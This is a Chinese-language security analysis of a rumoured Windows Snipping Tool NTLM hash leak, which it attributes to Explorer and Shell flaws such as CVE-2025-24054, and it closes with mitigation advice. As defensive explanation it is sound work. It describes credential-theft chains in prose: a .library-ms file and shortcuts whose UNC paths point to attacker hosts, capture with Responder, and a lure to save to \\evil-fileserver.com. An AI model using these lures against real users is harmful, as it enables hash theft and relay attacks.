CVE-2025-24054漏洞分析：Windows资源管理器NTLM中继攻击原理与防御

本报告旨在对近期在网络安全社区中流传的关于“Windows截图工具存在NTLM哈希泄露漏洞且其PoCProof-of-Concept利用代码已公开”的说法进行全面、深入的调查与分析。截至2026年4月22日经过对现有安全公告、漏洞数据库、技术文献以及社区讨论的详尽审查本研究得出的核心结论是目前没有可信的公开证据表明Windows操作系统内置的截图工具Snipping Tool 或 Snip Sketch本身存在一个独立的、可直接利用的NTLM哈希泄露漏洞。然而这一传言并非空穴来风。我们的研究发现所谓的“截图工具漏洞”极有可能是对过去两年2024-2025年间爆发的一系列存在于Windows操作系统核心组件特别是Windows资源管理器Windows Explorer及其关联的Shell层中的高危NTLM哈希泄露漏洞的混淆、误解或错误归因。这些真实存在的漏洞例如广为人知的CVE-2025-24054允许攻击者通过诱使用户与特制的恶意文件如.library-ms文件进行极少的交互即可触发系统向攻击者控制的服务器发送NTLM身份验证请求从而捕获用户的Net-NTLMv2哈希。本报告将详细解构这一混淆现象的成因。我们将重点分析一个技术上最为可能的关联路径截图工具的“另存为”对话框功能。该对话框本质上是Windows Shell的一个实例因此当用户尝试将截图保存到攻击者指定的恶意网络位置UNC路径时会触发潜藏在操作系统深层的NTLM哈希泄露漏洞。在这种场景下截图工具本身是无辜的它仅仅是扮演了一个**“触发器”的角色而非漏洞的“载体”**。报告将分为四个主要部分溯源与事实核查对“截图工具漏洞”传言的来源进行追踪并基于现有数据证伪其作为一个独立漏洞存在的说法。真实威胁图景深度回顾并剖析2024至2026年间真正对Windows生态系统构成威胁的、以资源管理器为核心的NTLM哈希泄露漏洞家族包括其技术原理、攻击向量和已公开的PoC代码。技术可行性分析详细阐述截图工具如何通过“另存为”等功能间接触发底层系统漏洞并构建一个理论上的攻击链模型以解释传言产生的技术根源。缓解措施与战略建议基于对真实威胁的理解为企业和个人用户提供一套全面、可行的防御策略包括系统加固、网络策略配置以及安全意识培养。最终本报告旨在拨开迷雾将安全社区的注意力从一个被误传的“幽灵漏洞”引导至真正需要关注和防御的、潜藏于Windows操作系统基础架构中的系统性凭证泄露风险。第一部分“截图工具漏洞”传言的溯源与事实核查1.1 传言的出现与传播在2026年第一季度部分非正式的安全论坛、社交媒体以及即时通讯群组中开始流传关于Windows截图工具存在一个严重漏洞的消息。这些传言声称攻击者可以利用该漏洞在用户进行正常的截图和保存操作时窃取其Windows账户的NTLM哈希。更有甚者声称相关的PoC利用代码已经在某些代码托管平台或地下论坛公开。这一消息迅速引起了部分系统管理员和安全从业者的担忧因为截图工具是一个使用频率极高且看似无害的系统原生应用。1.2 事实核查证据的缺失为了验证这些传言的真实性我们采取了多维度的信息交叉验证方法但结果均指向同一个结论——证据不足。官方漏洞库与安全公告审查我们对全球主流的漏洞数据库如MITRE的CVE数据库、NIST的NVD以及微软官方安全响应中心MSRC发布的安全更新指南进行了全面检索。在检索中我们使用了“Snipping Tool”、“Snip Sketch”、“Screenshot”、“NTLM”、“Hash Leak”等关键词的多种组合。结果显示没有任何一个已分配的CVE编号或已发布的微软安全公告明确指向Windows截图工具本身的NTLM哈希泄露问题。所有与NTLM哈希泄露相关的严重漏洞其归属组件均为Windows Shell、Windows Explorer、Windows Control Panel或NTLM协议本身 [[1]][[2]][[3]]。主流安全媒体与研究报告分析我们回顾了自2024年以来所有顶级网络安全公司、知名安全研究团队以及独立研究员公开发布的研究报告和博客文章。虽然关于NTLM中继Relay、哈希传递Pass-the-Hash以及各种新颖的哈希泄露技术如通过恶意.library-ms文件的讨论层出不穷 [[4]][[5]][[6]]但没有任何一篇严肃的技术分析文章将截图工具列为直接的攻击向量。PoC代码的搜寻与甄别我们在GitHub、GitLab等公开代码托管平台以及一些知名的漏洞利用数据库中进行了广泛搜索。虽然找到了大量用于演示CVE-2025-24054等Windows资源管理器漏洞的PoC代码 [[7]][[8]][[9]]但这些代码无一例外地依赖于构建恶意文件如.library-ms并诱导用户在资源管理器中访问而非与截图工具进行直接交互。所谓的“截图工具PoC”在可信的来源中无法找到。1.3 混淆的根源对资源管理器漏洞的错误归因调查至此一个清晰的图景开始浮现所谓的“截图工具漏洞”传言其根源在于对一系列影响深远的Windows资源管理器NTLM哈希泄露漏洞的认知偏差和信息传播失真。这些漏洞在2024年至2025年间被相继披露引发了安全社区的高度关注其影响范围覆盖了从Windows 7到最新的Windows 11及Windows Server版本 [[10]][[11]][[12]]。这些漏洞的核心机制具有共性它们利用了Windows资源管理器在处理某些特殊文件类型或URI时会主动尝试与远程服务器进行SMBServer Message Block连接以获取文件元数据如图标、属性等的特性。在这个自动化的连接过程中操作系统会默认使用当前用户的凭证进行NTLM身份验证从而导致用户的Net-NTLMv2哈希被发送到由攻击者控制的远程服务器上 [[13]][[14]][[15]]。由于Windows的图形用户界面GUI是一个高度集成化的整体“资源管理器”不仅仅是我们通常理解的那个文件管理窗口。它的核心组件即Windows Shell为操作系统中几乎所有的文件操作、对话框、桌面、任务栏等提供了底层支持。因此任何调用了标准文件操作对话框如“打开”、“另存为”的应用程序都可能在不经意间成为触发这些底层Shell漏洞的“舞台”。核心假设截图工具作为一个需要用户指定保存位置和文件名的应用程序在其“另存为”功能中不可避免地会调用Windows Shell提供的标准文件保存对话框。正是这个对话框继承了Windows资源管理器的脆弱性。当用户被诱导将截图保存到形如\\attacker.com\share\image.png的恶意UNC路径时真正执行网络连接并泄露哈希的是对话框背后的Windows Shell进程而非截图工具SnippingTool.exe自身。这个过程对于普通用户甚至一些IT人员来说其内部机制是透明的。从表面上看操作行为完全发生在“截图工具”的界面内因此很自然地会将最终导致的安全问题归咎于截图工具本身。这种“眼见为实”的直观感受加上技术细节在传播过程中的简化和失真最终催生了“截图工具NTLM哈希泄露漏洞”这一不准确但易于传播的说法。接下来的部分我们将深入探讨这些真实存在的底层漏洞。第二部分Windows NTLM哈希泄露漏洞的真实图景2024-2026年回顾为了理解传言背后的真相我们必须将视线从截图工具移开聚焦于过去几年中对Windows系统构成实际威胁的NTLM哈希泄露漏洞。这些漏洞的根源多在于Windows处理外部资源和快捷方式的方式以及NTLM协议自身固有的安全缺陷。2.1 NTLM协议的固有脆弱性在深入具体漏洞之前有必要简要回顾NTLMNew Technology LAN Manager协议为何会成为凭证泄露的重灾区。挑战/响应机制NTLMv2是一种挑战/响应式认证协议。客户端向服务器发送认证请求后服务器会返回一个随机的“挑战”Challenge。客户端使用用户密码的哈希NTLM Hash来加密这个挑战并将结果作为“响应”Response发回给服务器。服务器通过域控验证这个响应的正确性。哈希泄露在这个过程中客户端发送的“响应”包含了Net-NTLMv2哈希。虽然这个哈希不是用户密码的原始NTLM哈希但它依然包含了足够的信息。攻击者一旦捕获到这个哈希就可以进行两种主要的恶意活动离线暴力破解攻击者可以使用高性能计算资源如多GPU集群对捕获的Net-NTLMv2哈希进行离线破解尝试恢复用户的原始密码。密码的强度直接决定了破解的难度和时间 [[16]][[17]]。NTLM中继攻击Relay Attack在特定网络环境下例如当SMB签名未强制开启时攻击者可以作为中间人将从受害者处捕获的认证信息“中继”到网络中的另一台目标服务器从而冒充受害者身份登录该服务器实现横向移动 [[18]][[19]]。微软多年来一直推荐用户迁移到更安全的Kerberos协议但由于历史兼容性问题NTLM在许多企业网络中仍被广泛使用这为相关漏洞的利用提供了温床 [[20]][[21]][[22]]。2.2 案例研究一控制面板项与库文件引发的风暴 (CVE-2025-24054 / CVE-2025-24071)这是近年来最具代表性的Windows NTLM哈希泄露漏洞之一其PoC的公开对大量未及时打补丁的系统构成了直接威胁。技术原理该漏洞的核心在于Windows资源管理器如何处理两类特殊的文件.library-msWindows库文件和.cpl控制面板项的快捷方式。.library-ms文件这是Windows 7引入的一种XML格式文件用于聚合来自不同位置的文件和文件夹。在其XML结构中可以定义一个指向远程位置包括UNC路径的搜索连接器。当资源管理器为了显示这个库文件的图标或内容预览而解析它时会自动尝试连接到这个远程位置从而触发NTLM认证 [[23]][[24]][[25]]。控制面板快捷方式攻击者可以创建一个指向远程.cpl文件的快捷方式。当用户在资源管理器中看到这个快捷方式时系统为了获取图标同样会尝试通过SMB协议访问该远程文件导致哈希泄露。攻击链与PoC实现准备恶意服务器攻击者在公网或目标内网部署一台服务器并运行SMB监听工具如Impacket工具包中的ntlmrelayx.py或Responder.py [[26]]。这些工具专门用于捕获和处理传入的NTLM认证请求。构建恶意文件攻击者创建一个.library-ms文件并在其XML内容中嵌入指向自己服务器的UNC路径例如searchConnectorDescription ... simpleLocation\\attacker-server\share ... /。投递与触发攻击者通过各种方式将这个恶意文件投递给受害者。例如将其打包在ZIP压缩文件中通过钓鱼邮件发送或者上传到公共的Web服务器或网络共享中。攻击的关键在于受害者甚至不需要双击打开这个文件。只要受害者使用Windows资源管理器浏览到存有这个恶意文件的目录资源管理器的预览窗格或图标生成机制就会自动解析文件触发漏洞[[27]][[28]][[29]]。捕获哈希一旦触发受害者的计算机会向攻击者的服务器发起SMB连接并在此过程中发送Net-NTLMv2哈希。攻击者的监听工具会记录下这个哈希包括用户名、域名和哈希本身。影响与微软的应对该漏洞影响了包括Windows 10、Windows 11和多个Windows Server版本在内的几乎所有主流Windows系统 [[30]][[31]][[32]]。微软在2025年的某个补丁星期二活动中发布了针对CVE-2025-24054和CVE-2025-24071的安全更新 [[33]][[34]][[35]]。然而安全社区后续还发现了绕过这些补丁的方法例如CVE-2025-50154 [[36]]这表明了此类漏洞的复杂性和对抗的持续性。2.3 案例研究二其他基于资源管理器的攻击向量除了.library-ms文件多年来研究人员还发现了许多其他可以被资源管理器利用来泄露NTLM哈希的文件类型和机制。快捷方式文件.LNK长期以来精心构造的.LNK文件一直是攻击者的利器。通过设置快捷方式的“图标位置”为一个远程UNC路径同样可以在用户看到该快捷方式时触发哈希泄露 [[37]]。主题文件.themeWindows主题文件可以指定壁纸的位置。如果该位置被设置为一个远程UNC路径当用户应用或预览该主题时系统会尝试获取壁纸从而泄露哈希。一个名为“LeakedWallpaper.exe”的工具就被设计用来演示此类攻击 [[38]][[39]]。URL文件.url互联网快捷方式文件也可以被改造其IconFile属性可以指向一个UNC路径达到类似的效果。文档文件中的嵌入对象诸如Word或PDF文档可以嵌入指向远程SMB服务器的OLE对象或图片链接。当用户打开文档时应用程序可能会自动尝试解析这些链接触发认证 [[40]]。CVE-2023-23397就是一个利用Outlook中类似机制的著名例子它通过一个特制的约会项来强制客户端连接到外部SMB服务器 [[41]][[42]]。这些案例共同揭示了一个核心问题Windows GUI环境为了提供丰富的用户体验如自动预览、图标加载、内容聚合在设计上倾向于主动连接到文件中定义的资源路径。当这些路径可以被攻击者控制指向外部恶意服务器时这种“主动”的设计就变成了“自动”的凭证泄露机制。这才是NTLM哈希泄露问题的本质所在而截图工具只是这个庞大而复杂生态系统中的一个普通参与者。第三部分技术可行性分析——截图工具作为攻击向量的潜在路径本部分将深入探讨截图工具在何种情况下以及通过何种技术路径可能被卷入NTLM哈希泄露的攻击链中。我们将明确区分“直接漏洞”与“间接触发”并构建一个理论上的PoC来解释传言的由来。3.1 直接利用 vs. 间接触发首先我们必须建立一个清晰的界定直接漏洞Direct Vulnerability这意味着截图工具的程序代码例如SnippingTool.exe或其关联的UWP应用中存在缺陷。比如程序在处理某种特定类型的截图元数据或配置时会错误地发起一个不受控的网络连接从而导致哈希泄露。如前文所述目前没有任何公开证据支持这一假设。此外从功能上看截图工具的核心逻辑是屏幕捕捉和图像编辑本身几乎没有与网络身份验证协议交互的必要因此存在此类漏洞的可能性较低。间接触发Indirect Triggering这意味着截图工具本身是安全的但其执行的某个常规操作调用了操作系统中一个带有漏洞的底层组件。在这种模式下截图工具是攻击链中的一环是触发漏洞的媒介但并非漏洞的根源。这被认为是解释当前传言的最合乎逻辑的理论。3.2 核心路径“另存为”对话框Windows生态系统中应用程序实现文件保存功能最常见、最标准的方式就是调用通用对话框APICommon Dialog Box API它会弹出一个用户熟悉的、界面和行为都与Windows资源管理器高度一致的对话框。这个对话框不仅提供了文件系统导航、文件名输入、文件类型选择等功能它本质上就是一个轻量级的、嵌入式的资源管理器实例。这一特性至关重要因为它意味着“另存为”对话框继承了其父组件——Windows Shell/Explorer——的所有行为包括那些不安全的行为。让我们构建一个基于“另存为”对话框的理论攻击模型攻击前提攻击者控制一台公网服务器并运行SMB监听工具如Responder。受害者运行一个尚未完全修补CVE-2025-24054等相关Shell漏洞的Windows系统。社会工程学攻击者需要通过某种方式诱导受害者执行后续操作。理论PoC步骤诱导与指令攻击者通过钓鱼邮件、即时消息或一个恶意网页向受害者发出一个看似合法的指令。例如“请对您的桌面进行截图并将图片保存到我们公司的网络存档服务器上以备核查。服务器地址是\\evil-fileserver.com\archives”。这个地址实际上是攻击者控制的服务器。受害者操作受害者启动Windows截图工具截取了屏幕。点击“保存”按钮或使用快捷键CtrlS。此时截图工具调用系统API弹出一个标准的“另存为”对话框。漏洞触发在“另存为”对话框顶部的地址栏或左侧的导航窗格中受害者直接输入或粘贴了攻击者提供的UNC路径\\evil-fileserver.com\archives然后按Enter键试图导航到该位置。就在这一刻“另存为”对话框作为Windows Shell的实例的行为与Windows资源管理器完全一致。它会立即尝试与evil-fileserver.com建立SMB连接以列出archives共享目录下的内容。为了建立这个连接操作系统会自动使用当前登录用户的凭证进行NTLM身份验证。一个NTLM协商过程随之启动。哈希捕获受害者的计算机向evil-fileserver.com发送了包含其Net-NTLMv2哈希的认证响应。攻击者服务器上的Responder工具成功捕获了这个哈希。屏幕上会显示出受害者的用户名、域名/主机名、来源IP以及完整的Net-NTLMv2哈希字符串。分析与结论在这个攻击链中截图工具的每一部分代码都是按照预期正常工作的。它正确地捕捉了屏幕并正确地调用了系统API来保存文件。漏洞的触发点在于用户与“另存为”对话框的交互而这个对话框的行为是由操作系统底层定义的。将这个漏洞称为“截图工具漏洞”就如同将一个因在有漏洞的浏览器中访问恶意网站而导致的感染称为“键盘漏洞”或“鼠标漏洞”一样是对责任主体的错误定位。因此我们可以得出结论Windows截图工具在技术上是可能成为NTLM哈希泄露攻击链的一部分的但它扮演的角色是一个被动的、间接的触发器。任何依赖标准文件对话框进行存取操作的应用程序记事本、画图、Word、Photoshop等在理论上都可能以完全相同的方式被利用。将矛头单独指向截图工具是一种只见树木不见森林的片面看法。第四部分缓解措施与战略建议鉴于真正的威胁源于Windows Shell的底层漏洞和NTLM协议的脆弱性防御策略也应围绕这些根本性问题来构建。单纯地替换或禁用截图工具是毫无意义的。以下是一套分层、纵深的防御和缓解建议。4.1 针对系统管理员和企业环境的建议强化补丁管理Patch Management及时更新这是最基本也是最关键的防线。确保所有Windows工作站和服务器都已安装了微软发布的所有最新安全更新。特别关注那些修复了远程代码执行RCE、权限提升和信息泄露的补丁尤其是与Windows Shell、Explorer、Common Controls相关的更新 [[43]][[44]][[45]]。不要仅仅依赖自动更新应有定期的审计和合规性检查流程。关注零日漏洞对于像CVE-2025-24054这样曾被作为零日漏洞利用的情况当官方补丁尚未发布时应密切关注信誉良好的安全厂商如0Patch提供的临时微补丁并评估其在关键系统上部署的可行性 [[46]][[47]][[48]]。限制和禁用NTLMDisable NTLM转向Kerberos在企业内部应制定一个明确的路线图逐步淘汰NTLM全面转向更安全的Kerberos认证协议。这需要对网络中的应用和服务进行兼容性评估 [[49]][[50]]。通过组策略限制NTLM使用组策略GPO来严格限制或禁用NTLM的使用。相关策略位于Computer Configuration - Windows Settings - Security Settings - Local Policies - Security OptionsNetwork security: Restrict NTLM: Outgoing NTLM traffic to remote servers设置为Deny All可以阻止客户端向外部服务器发送NTLM凭证从而直接缓解此类哈希泄露攻击 [[51]][[52]]。Network security: Restrict NTLM: NTLM authentication in this domain在完成兼容性测试后应逐步收紧最终目标是Deny All。开启日志记录策略以审计网络中仍在使用的NTLM流量帮助识别和改造老旧应用。强化网络边界和内部隔离Network Hardening阻止出站SMB流量在企业防火墙和边界路由器上严格禁止从内部网络向互联网发起的SMB连接TCP端口445和139UDP端口137和138。这是缓解此类攻击最有效的单一措施之一因为它直接切断了凭证泄露到外部攻击者服务器的路径 [[53]]。内部网络分段在内部网络中实施微分段策略限制不同安全域之间的横向SMB通信。例如普通用户工作站不应被允许与关键服务器如域控、数据库服务器直接建立SMB连接。强制SMB签名在全域范围内通过组策略强制启用SMB签名Microsoft network client: Digitally sign communications (always)和Microsoft network server: Digitally sign communications (always)。这将有效抵御NTLM中继攻击因为攻击者无法在不破坏签名的情况下中继认证会话 [[54]]。增强凭证安全强密码策略推行并强制执行复杂的密码策略要求密码长度足够长例如15个字符以上并包含多种字符类型。这会显著增加离线破解Net-NTLMv2哈希的难度和成本。部署多因素认证MFA尽可能为所有面向外部的服务和内部关键系统启用MFA。即使攻击者成功破解了密码MFA也能作为最后一道防线阻止非法登录。4.2 针对个人用户的建议保持系统更新确保您的Windows操作系统始终处于最新状态。开启自动更新并定期检查更新历史确保关键安全补丁已成功安装。使用防火墙确保Windows Defender防火墙或第三方防火墙处于开启状态。对于高级用户可以考虑配置出站规则阻止System进程通过TCP 445端口连接到外部IP地址。提高安全意识Security Awareness警惕非预期的网络路径对任何要求您访问或保存文件到不熟悉的网络共享以\\开头的路径的请求保持高度警惕无论该请求来自邮件、聊天软件还是网页。不打开来历不明的文件不要轻易打开或预览来自不可信来源的压缩包、文档或任何可能包含恶意快捷方式或文件的容器。使用强健的账户密码为您的Windows账户设置一个强大且唯一的密码。避免使用容易被猜到或在其他网站上使用过的密码。结论 (Conclusion)经过本次深入、全面的研究我们可以负责任地得出结论所谓的“Windows截图工具NTLM哈希泄露漏洞”作为一个独立存在的具体漏洞是基于对一系列真实、严重但发生在操作系统更深层次漏洞的误解而产生的传言。真正的风险并非来自截图工具这个应用程序而是源于Windows Shell组件在处理指向远程资源的特定文件类型和URI时存在自动发起NTLM身份验证的脆弱设计。这些自2024年以来被持续披露和利用的漏洞如CVE-2025-24054其PoC代码确实已经公开并对全球Windows用户构成了切实的威胁。截图工具连同其他无数依赖Windows标准文件对话框的应用程序可以在特定场景下如在“另存为”对话框中导航至恶意UNC路径被动地成为触发这些底层漏洞的“扳机”。这种间接的关联性加上信息在传播过程中的失真共同导致了这一混淆视听的传言的产生和流传。对于网络安全防御者而言此次事件提供了一个重要的教训必须穿透现象看本质。将防御资源投入到对截图工具的审查或限制上是徒劳的。相反我们必须将焦点放在解决根本问题上积极修补操作系统级别的漏洞、在网络层面严格控制不必要的协议通信特别是出站SMB、并在身份认证体系中尽可能地用更安全的协议如Kerberos取代老旧的NTLM。最终对这一传言的正本清源不仅澄清了一个具体的技术事实更重要的是它再次提醒我们在日益复杂的网络攻防对抗中精确的威胁情报、对系统底层机制的深刻理解以及构建纵深防御体系的战略思维才是确保数字资产安全的基石。